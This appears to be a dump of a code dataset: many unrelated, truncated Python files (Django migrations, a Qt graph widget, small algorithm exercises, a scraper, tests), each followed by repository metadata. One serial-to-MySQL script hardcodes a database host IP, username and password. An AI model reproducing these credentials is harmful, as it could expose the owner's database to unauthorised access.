""" file_cache_manager.py - Manage a local cache of files synchronized through S3 Copyright (c) 2020 by Thomas J. Daley, J.D. """ import boto3 from boto3.s3.transfer import TransferConfig from botocore.exceptions import ClientError import os from dotenv import load_dotenv from util.logger import get_logger load_dote...
742
0
72
0b71933419352ddc3ba08e7658751ff8dd9fd14d
39,060
py
Python
deplish/graphics_widgets.py
mottosso/deplish
6d36bc8822acb143631a0a07ad6c58e9945a7c21
[ "BSD-3-Clause" ]
3
2015-01-02T19:21:49.000Z
2019-05-11T11:11:18.000Z
deplish/graphics_widgets.py
mottosso/deplish
6d36bc8822acb143631a0a07ad6c58e9945a7c21
[ "BSD-3-Clause" ]
null
null
null
deplish/graphics_widgets.py
mottosso/deplish
6d36bc8822acb143631a0a07ad6c58e9945a7c21
[ "BSD-3-Clause" ]
null
null
null
# # Depends # Copyright (C) 2014 by Andrew Gardner & Jonas Unger. All rights reserved. # BSD license (LICENSE.txt for details). # import math from PySide import QtCore, QtGui import node import undo_commands """ A collection of QT graphics widgets that displays and allows the user to manipulate a dependency grap...
36.538821
155
0.587455
# # Depends # Copyright (C) 2014 by Andrew Gardner & Jonas Unger. All rights reserved. # BSD license (LICENSE.txt for details). # import math from PySide import QtCore, QtGui import node import undo_commands """ A collection of QT graphics widgets that displays and allows the user to manipulate a dependency grap...
0
0
0
640629644c0139c1f133016845ff688c365a9f7e
1,758
py
Python
snakemake/wrappers/.snakemake.c9tt_sz2.merge_fastq_wrapper.py
saketkc/EE-546-project
fb7eacd90f6c0a2cb3061837ec5427a14f521aa5
[ "BSD-2-Clause" ]
1
2020-11-02T07:05:09.000Z
2020-11-02T07:05:09.000Z
snakemake/wrappers/.snakemake.c9tt_sz2.merge_fastq_wrapper.py
saketkc/EE-546-project
fb7eacd90f6c0a2cb3061837ec5427a14f521aa5
[ "BSD-2-Clause" ]
null
null
null
snakemake/wrappers/.snakemake.c9tt_sz2.merge_fastq_wrapper.py
saketkc/EE-546-project
fb7eacd90f6c0a2cb3061837ec5427a14f521aa5
[ "BSD-2-Clause" ]
null
null
null
######## Snakemake header ######## import sys sys.path.append( "/home/cmb-panasas2/skchoudh/software_frozen/anaconda27/envs/riboraptor/lib/python3.5/site-packages" ) import pickle snakemake = pickle.loads( b'\x80\x03csnakemake.script\nSnakemake\nq\x00)\x81q\x01}q\x02(X\t\x00\x00\x00resourcesq\x03csnakemake.io\n...
92.526316
1,301
0.774175
######## Snakemake header ######## import sys sys.path.append( "/home/cmb-panasas2/skchoudh/software_frozen/anaconda27/envs/riboraptor/lib/python3.5/site-packages" ) import pickle snakemake = pickle.loads( b'\x80\x03csnakemake.script\nSnakemake\nq\x00)\x81q\x01}q\x02(X\t\x00\x00\x00resourcesq\x03csnakemake.io\n...
0
0
0
a1dc21e5d6855683102ce952e471161084c2eaec
1,042
py
Python
deepestNodeInTree.py
anishmo99/DailyInterviewPro
d8724e8feec558ab1882d22c9ca63b850b767753
[ "MIT" ]
1
2020-08-09T07:07:53.000Z
2020-08-09T07:07:53.000Z
deepestNodeInTree.py
anishmo99/DailyInterviewPro
d8724e8feec558ab1882d22c9ca63b850b767753
[ "MIT" ]
null
null
null
deepestNodeInTree.py
anishmo99/DailyInterviewPro
d8724e8feec558ab1882d22c9ca63b850b767753
[ "MIT" ]
1
2020-06-06T20:56:33.000Z
2020-06-06T20:56:33.000Z
# maxLevel : keeps track of maximum # level seen so far. # res : Value of deepest node so far. # level : Level of root # Returns value of deepest node root = Node('a') root.left = Node('b') root.left.left = Node('d') root.right = Node('c') print(deepestNode(root)) # (d, 3)
21.708333
48
0.553743
class Node(object): def __init__(self, data): self.data = data self.left = None self.right = None # maxLevel : keeps track of maximum # level seen so far. # res : Value of deepest node so far. # level : Level of root def find(root, level, maxLevel, res): if (root != None): leve...
651
-2
92
24cc1d98e53524c991b28f87db4df6271753536c
919
py
Python
project/nutrihacker/migrations/0017_auto_20201026_1006.py
COSC481W-2020Fall/cosc481w-581-2020-fall-nutrition-helper
a8ddb4b8c0703e376d5bb0f668ef003e2ed203e8
[ "MIT" ]
1
2021-03-18T00:12:09.000Z
2021-03-18T00:12:09.000Z
project/nutrihacker/migrations/0017_auto_20201026_1006.py
COSC481W-2020Fall/cosc481w-581-2020-fall-nutrition-helper
a8ddb4b8c0703e376d5bb0f668ef003e2ed203e8
[ "MIT" ]
104
2020-09-09T18:52:33.000Z
2020-12-16T15:17:56.000Z
project/nutrihacker/migrations/0017_auto_20201026_1006.py
COSC481W-2020Fall/cosc481w-581-2020-fall-nutrition-helper
a8ddb4b8c0703e376d5bb0f668ef003e2ed203e8
[ "MIT" ]
1
2021-03-17T21:35:51.000Z
2021-03-17T21:35:51.000Z
# Generated by Django 3.1.1 on 2020-10-26 14:06 from django.db import migrations, models import django.db.models.deletion
27.848485
125
0.594124
# Generated by Django 3.1.1 on 2020-10-26 14:06 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('nutrihacker', '0016_auto_20201026_0959'), ] operations = [ migrations.RemoveField( model_name='...
0
772
23
5428e5c5bf92bb99e57a498974c6e2afe9f31719
558
py
Python
src/data/91.py
NULLCT/LOMC
79a16474a8f21310e0fb47e536d527dd5dc6d655
[ "MIT" ]
null
null
null
src/data/91.py
NULLCT/LOMC
79a16474a8f21310e0fb47e536d527dd5dc6d655
[ "MIT" ]
null
null
null
src/data/91.py
NULLCT/LOMC
79a16474a8f21310e0fb47e536d527dd5dc6d655
[ "MIT" ]
null
null
null
import queue #BFSで街を色分け N, Q = map(int, input().split()) a = [[] for i in range(N + 1)] for i in range(N - 1): st, ed = map(int, input().split()) a[st].append(ed) a[ed].append(st) que = queue.Queue() color = [-1] * (N + 1) color[1] = 0 que.put(1) while not que.empty(): now = que.get() for i in a...
19.241379
38
0.498208
import queue #BFSで街を色分け N, Q = map(int, input().split()) a = [[] for i in range(N + 1)] for i in range(N - 1): st, ed = map(int, input().split()) a[st].append(ed) a[ed].append(st) que = queue.Queue() color = [-1] * (N + 1) color[1] = 0 que.put(1) while not que.empty(): now = que.get() for i in a...
0
0
0
972877753d3d2f0b9394a7830279c3f73d53d4c6
758
py
Python
mainTelefoon.py
daan-bit/ipmedt5
999dc29b93e0ead5da88b3d89708cfdd5729cd5e
[ "MIT" ]
null
null
null
mainTelefoon.py
daan-bit/ipmedt5
999dc29b93e0ead5da88b3d89708cfdd5729cd5e
[ "MIT" ]
null
null
null
mainTelefoon.py
daan-bit/ipmedt5
999dc29b93e0ead5da88b3d89708cfdd5729cd5e
[ "MIT" ]
null
null
null
import serial import os import mysql.connector import time mydb = mysql.connector.connect( host="185.104.29.34", user="schoolproject_laravel", passwd="kvLXsjsPS", database="schoolproject_laravel" ) port = serial.Serial("/dev/ttyUSB0", 9600, timeout=3.0) mycursor = mydb.cursor() while True: mycur...
19.947368
55
0.593668
import serial import os import mysql.connector import time mydb = mysql.connector.connect( host="185.104.29.34", user="schoolproject_laravel", passwd="kvLXsjsPS", database="schoolproject_laravel" ) port = serial.Serial("/dev/ttyUSB0", 9600, timeout=3.0) mycursor = mydb.cursor() while True: mycur...
0
0
0
a11f52a3547c2c68c81ae8f164ea44f036768cbd
5,985
py
Python
tests/test_basic.py
MacHu-GWU/constant2-project
fb18bc5fe36c73b98d8ad977d83f9948050ff8e7
[ "MIT" ]
1
2018-12-19T16:35:38.000Z
2018-12-19T16:35:38.000Z
tests/test_basic.py
MacHu-GWU/const-project
fb18bc5fe36c73b98d8ad977d83f9948050ff8e7
[ "MIT" ]
null
null
null
tests/test_basic.py
MacHu-GWU/const-project
fb18bc5fe36c73b98d8ad977d83f9948050ff8e7
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Test: - MyClass.Items() - MyClass.Keys() - MyClass.Values() - MyClass.Subclasses() - my_class.items() - my_class.keys() - my_class.values() - my_class.subclass() """ import time import pytest from constant2 import Constant from constant2._constant2 import is_same_dic...
28.774038
73
0.536174
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Test: - MyClass.Items() - MyClass.Keys() - MyClass.Values() - MyClass.Subclasses() - my_class.items() - my_class.keys() - my_class.values() - my_class.subclass() """ import time import pytest from constant2 import Constant from constant2._constant2 import is_same_dic...
4,159
847
504
96ae6f100fb39055509927f78b8e6760d61dfabd
1,142
py
Python
cloudshare/__init__.py
cloudshare/cloudshare-py-sdk
d2bb22272c84a5b58a263130cb90c2f80cae66f1
[ "Apache-2.0" ]
2
2020-07-09T14:40:40.000Z
2021-07-09T04:30:33.000Z
cloudshare/__init__.py
cloudshare/cloudshare-py-sdk
d2bb22272c84a5b58a263130cb90c2f80cae66f1
[ "Apache-2.0" ]
null
null
null
cloudshare/__init__.py
cloudshare/cloudshare-py-sdk
d2bb22272c84a5b58a263130cb90c2f80cae66f1
[ "Apache-2.0" ]
1
2021-12-10T07:27:05.000Z
2021-12-10T07:27:05.000Z
# Copyright 2015 CloudShare Inc. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in ...
39.37931
83
0.600701
# Copyright 2015 CloudShare Inc. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in ...
499
0
50
020b4d40a577c66c9682ccbb71328337d9080f22
105
py
Python
class_views/models.py
Benbb96/django-views-tutorial
a3ff549d0face0c51e5c2a43c929f4b39214e9dc
[ "MIT" ]
null
null
null
class_views/models.py
Benbb96/django-views-tutorial
a3ff549d0face0c51e5c2a43c929f4b39214e9dc
[ "MIT" ]
null
null
null
class_views/models.py
Benbb96/django-views-tutorial
a3ff549d0face0c51e5c2a43c929f4b39214e9dc
[ "MIT" ]
null
null
null
from django.db import models
21
43
0.771429
from django.db import models class PostModel(models.Model): id = models.AutoField(primary_key=True)
0
53
23
0790d8c6b2c4971fdbbd2e8dfb178e214358bb71
866
py
Python
extractor/haokan.py
wwping/spiders
ebd32cc7dd98447a308c8441ec7465e7a2d7f0a3
[ "MIT" ]
30
2020-05-13T06:49:32.000Z
2021-04-01T23:20:04.000Z
extractor/haokan.py
wwping/spiders
ebd32cc7dd98447a308c8441ec7465e7a2d7f0a3
[ "MIT" ]
null
null
null
extractor/haokan.py
wwping/spiders
ebd32cc7dd98447a308c8441ec7465e7a2d7f0a3
[ "MIT" ]
8
2020-06-03T06:58:08.000Z
2020-12-31T04:02:05.000Z
import re import requests def get(url: str) -> dict: """ title、videos """ data = {} headers = { "user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" } re_title = r'<title>(.*?)</title>' re_video = r'<video cl...
26.242424
129
0.550808
import re import requests def get(url: str) -> dict: """ title、videos """ data = {} headers = { "user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" } re_title = r'<title>(.*?)</title>' re_video = r'<video cl...
0
0
0
67476155226c2c0425cc70c6bcc651cc1cd94def
3,242
py
Python
imgpedia/dataproc/descriptor_benchmark.py
pection-zz/Lenquality-MachineLearning
61e10a7dcff07ad4e63ec9e88dd6f164cadf22ff
[ "MIT" ]
1
2022-02-22T06:20:39.000Z
2022-02-22T06:20:39.000Z
imgpedia/dataproc/descriptor_benchmark.py
pection/Lenquality-MachineLearning
61e10a7dcff07ad4e63ec9e88dd6f164cadf22ff
[ "MIT" ]
null
null
null
imgpedia/dataproc/descriptor_benchmark.py
pection/Lenquality-MachineLearning
61e10a7dcff07ad4e63ec9e88dd6f164cadf22ff
[ "MIT" ]
1
2020-11-24T18:18:44.000Z
2020-11-24T18:18:44.000Z
import numpy as np import cv2, sys, os from datetime import datetime from OrientedGradientsComputer import OrientedGradientsComputer from GrayHistogramComputer import GrayHistogramComputer from DeCAF7Computer import DeCAF7Computer from ColorLayoutComputer import ColorLayoutComputer ''' This scripts computes the time i...
38.141176
110
0.741518
import numpy as np import cv2, sys, os from datetime import datetime from OrientedGradientsComputer import OrientedGradientsComputer from GrayHistogramComputer import GrayHistogramComputer from DeCAF7Computer import DeCAF7Computer from ColorLayoutComputer import ColorLayoutComputer ''' This scripts computes the time i...
0
0
0
cebe2eb7d974a15c8655cad986206b7040370b87
3,087
py
Python
vaws/model/tests/test_curve.py
GeoscienceAustralia/vaws
19b31e2402f7d5ad4cbec864523567d7bc46720e
[ "Apache-2.0" ]
6
2018-06-02T04:39:34.000Z
2021-11-12T12:07:04.000Z
vaws/model/tests/test_curve.py
GeoscienceAustralia/vaws
19b31e2402f7d5ad4cbec864523567d7bc46720e
[ "Apache-2.0" ]
null
null
null
vaws/model/tests/test_curve.py
GeoscienceAustralia/vaws
19b31e2402f7d5ad4cbec864523567d7bc46720e
[ "Apache-2.0" ]
null
null
null
import unittest import matplotlib.pyplot as plt import numpy as np from vaws.model.curve import vulnerability_weibull, vulnerability_weibull_pdf def single_exponential_given_V(beta_, alpha_, x_arr): """ compute Args: beta_: parameter for vulnerability curve alpha_: parameter for vulnerabi...
32.15625
77
0.594104
import unittest import matplotlib.pyplot as plt import numpy as np from vaws.model.curve import vulnerability_weibull, vulnerability_weibull_pdf def single_exponential_given_V(beta_, alpha_, x_arr): """ compute Args: beta_: parameter for vulnerability curve alpha_: parameter for vulnerabi...
2,281
15
104
e05363a7d36d1a678843d4c6b481e2f4bb1b5b9c
1,407
py
Python
Daily_code/Day_20210208.py
renqiang06/Data_Engine_with_Python_renqiang
78077d30b5ee63225c7672db3d17bafa82b10f37
[ "MIT" ]
null
null
null
Daily_code/Day_20210208.py
renqiang06/Data_Engine_with_Python_renqiang
78077d30b5ee63225c7672db3d17bafa82b10f37
[ "MIT" ]
null
null
null
Daily_code/Day_20210208.py
renqiang06/Data_Engine_with_Python_renqiang
78077d30b5ee63225c7672db3d17bafa82b10f37
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- encoding: utf-8 -*- # @Author : Ren Qiang # ACtion2 互补DNA 其中,A与T互补,C与G互补编写函数DNA_strand(dna) # %% 自己的做法 DNA_strand("ATTGC") DNA_strand("AAAA") DNA_strand("ATCGT") # %% 借鉴优秀案例1 Dict = {'A': 'T', 'T': 'A', 'C': 'G', 'G': 'C'} DNA_input = ['ATTGC', 'AAAA', 'ATCGT'] print('优秀案例1:') resul...
20.391304
52
0.474058
#!/usr/bin/env python # -*- encoding: utf-8 -*- # @Author : Ren Qiang # ACtion2 互补DNA 其中,A与T互补,C与G互补编写函数DNA_strand(dna) # %% 自己的做法 def DNA_strand(dna): out = '' for i in dna: # print(i) if i == 'A': out += 'T' elif i == 'T': out += 'A' elif i == 'C': ...
976
0
69
fd85567c3f9bf71e2cc51bfe1d872df3f768c89b
1,533
py
Python
api/tacticalrmm/clients/migrations/0006_deployment.py
BaDTaG/tacticalrmm
7bdd8c4626e0629d393edb5dec2541150d1802ef
[ "MIT" ]
1
2021-01-19T20:39:02.000Z
2021-01-19T20:39:02.000Z
api/tacticalrmm/clients/migrations/0006_deployment.py
BaDTaG/tacticalrmm
7bdd8c4626e0629d393edb5dec2541150d1802ef
[ "MIT" ]
null
null
null
api/tacticalrmm/clients/migrations/0006_deployment.py
BaDTaG/tacticalrmm
7bdd8c4626e0629d393edb5dec2541150d1802ef
[ "MIT" ]
null
null
null
# Generated by Django 3.1.2 on 2020-10-25 01:03 from django.db import migrations, models import django.db.models.deletion import uuid
47.90625
145
0.622962
# Generated by Django 3.1.2 on 2020-10-25 01:03 from django.db import migrations, models import django.db.models.deletion import uuid class Migration(migrations.Migration): dependencies = [ ('knox', '0007_auto_20190111_0542'), ('clients', '0005_auto_20200922_1344'), ] operations = [ ...
0
1,374
23
7ca14e0140dcfa8964790e97e38f0c770da66bb0
384
py
Python
smart_meter/migrations/0004_auto_20200921_0926.py
GPXenergy/gpx_server_api
9b021522be4414ac95159a0ed576848c463637f9
[ "MIT" ]
null
null
null
smart_meter/migrations/0004_auto_20200921_0926.py
GPXenergy/gpx_server_api
9b021522be4414ac95159a0ed576848c463637f9
[ "MIT" ]
null
null
null
smart_meter/migrations/0004_auto_20200921_0926.py
GPXenergy/gpx_server_api
9b021522be4414ac95159a0ed576848c463637f9
[ "MIT" ]
null
null
null
# Generated by Django 3.0.8 on 2020-09-21 09:26 from django.db import migrations
21.333333
51
0.609375
# Generated by Django 3.0.8 on 2020-09-21 09:26 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('smart_meter', '0003_auto_20200921_0849'), ] operations = [ migrations.RenameField( model_name='smartmeter', old_name='last_up...
0
278
23
d4c7946b49d8589aa50f216626e7652a93272e2a
558
py
Python
radon_server/radon_pbim.py
leo212/radon_transform
04721c365d01e9b6a17eba4130a13d453844e27d
[ "Apache-2.0" ]
null
null
null
radon_server/radon_pbim.py
leo212/radon_transform
04721c365d01e9b6a17eba4130a13d453844e27d
[ "Apache-2.0" ]
2
2021-03-19T01:28:34.000Z
2022-01-13T01:19:59.000Z
radon_server/radon_pbim.py
leo212/radon_transform
04721c365d01e9b6a17eba4130a13d453844e27d
[ "Apache-2.0" ]
null
null
null
import skimage import numpy as np from radon_server.radon_thread import RadonTransformThread
32.823529
97
0.668459
import skimage import numpy as np from radon_server.radon_thread import RadonTransformThread class PBIMTransform(RadonTransformThread): def get_algorithm_name(self): return "pbim" def run_transform(self, image, steps, variant=None): self.radon = np.zeros((steps, steps), dtype='float64') ...
367
21
76
5c77a0227824d40d7627f1e7d0084fba99e4b63e
2,367
py
Python
idact/detail/deployment_sync/discard_expired_deployments.py
intdata-bsc/idact
54cb65a711c145351e205970c27c83e6393cccf5
[ "MIT" ]
5
2018-12-06T15:40:34.000Z
2019-06-19T11:22:58.000Z
idact/detail/deployment_sync/discard_expired_deployments.py
garstka/idact
b9c8405c94db362c4a51d6bfdf418b14f06f0da1
[ "MIT" ]
9
2018-12-06T16:35:26.000Z
2019-04-28T19:01:40.000Z
idact/detail/deployment_sync/discard_expired_deployments.py
intdata-bsc/idact
54cb65a711c145351e205970c27c83e6393cccf5
[ "MIT" ]
2
2019-04-28T19:18:58.000Z
2019-06-17T06:56:28.000Z
from datetime import timedelta from idact.detail.deployment_sync.deployment_definitions import \ DeploymentDefinitions from idact.detail.helper.stage_info import stage_debug from idact.detail.helper.utc_now import utc_now from idact.detail.log.get_logger import get_logger DISCARD_DELTA_SECONDS = 30 """Discard dep...
38.177419
78
0.65019
from datetime import timedelta from idact.detail.deployment_sync.deployment_definitions import \ DeploymentDefinitions from idact.detail.helper.stage_info import stage_debug from idact.detail.helper.utc_now import utc_now from idact.detail.log.get_logger import get_logger DISCARD_DELTA_SECONDS = 30 """Discard dep...
0
0
0